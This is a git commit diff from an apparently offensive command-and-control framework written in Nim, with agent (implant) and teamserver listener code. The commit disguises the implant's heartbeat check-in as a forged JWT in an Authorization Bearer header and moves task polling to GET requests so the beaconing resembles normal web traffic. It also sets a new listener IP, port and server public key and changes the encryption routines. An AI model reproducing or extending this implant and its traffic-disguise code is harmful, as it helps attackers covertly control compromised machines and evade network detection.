Updated C2 communication to hide heartbeat data in JWT token.

This commit is contained in:
Jakob Friedl
2025-08-13 13:38:39 +02:00
parent 0e205d34d3
commit b7622dd72f
6 changed files with 27 additions and 27 deletions

View File

@@ -1,4 +1,4 @@
import httpclient, json, strformat, asyncdispatch
import httpclient, json, strformat, strutils, asyncdispatch, base64
import ../../common/[types, utils]
@@ -35,16 +35,15 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
var responseBody = ""
# Define HTTP headers
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
let payload = encode(checkinData, safe = true).replace("=", "")
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $checkinData.len
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
})
let body = checkinData.toString()
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
return responseBody
except CatchableError as err:

View File

@@ -25,7 +25,7 @@ proc main() =
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
echo "Missing agent configuration."
quit(0)

View File

@@ -1,9 +1,9 @@
# Agent configuration
-d:ListenerUuid="D3AC0FF3"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:ListenerUuid="D0981BF3"
-d:Octet1="172"
-d:Octet2="29"
-d:Octet3="177"
-d:Octet4="43"
-d:ListenerPort=6666
-d:SleepDelay=10
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="

View File

@@ -14,7 +14,7 @@ proc generateIV*(): Iv =
raise newException(CatchableError, "Failed to generate IV.")
return iv
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Encrypt data using AES-256 GCM
var encData = newSeq[byte](data.len)
@@ -29,7 +29,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[b
return (encData, tag)
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Decrypt data using AES-256 GCM
var data = newSeq[byte](encData.len)
@@ -44,7 +44,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
return (data, tag)
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64, header: Header): seq[byte] =
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32, header: Header): seq[byte] =
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
@@ -59,7 +59,6 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
Private keys and shared secrets are wiped from agent memory as soon as possible
]#
{.compile: "monocypher/monocypher.c".}
{.passc: "-Imonocypher".}
# C function imports from (monocypher/monocypher.c)
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}

View File

@@ -31,20 +31,22 @@ proc register*(ctx: Context) {.async.} =
resp "", Http404
#[
POST /tasks
GET /tasks
Called from agent to check for new tasks
]#
proc getTasks*(ctx: Context) {.async.} =
# Check headers
# If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
if not ctx.request.hasHeader("Authorization"):
resp "", Http404
return
let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes()
try:
var response: seq[byte]
let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes())
let tasks: seq[seq[byte]] = getTasks(checkinData)
if tasks.len <= 0:
resp "", Http200

View File

@@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints
listener.post("register", routes.register)
listener.post("tasks", routes.getTasks)
listener.get("tasks", routes.getTasks)
listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404)
@@ -80,7 +80,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
try:
discard listener.runAsync()
cq.add(listenerInstance)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.")
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
@@ -100,14 +100,14 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints
listener.post("register", routes.register)
listener.post("tasks", routes.getTasks)
listener.get("tasks", routes.getTasks)
listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404)
try:
discard listener.runAsync()
cq.add(l)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.")
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on {l.address}:{$l.port}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)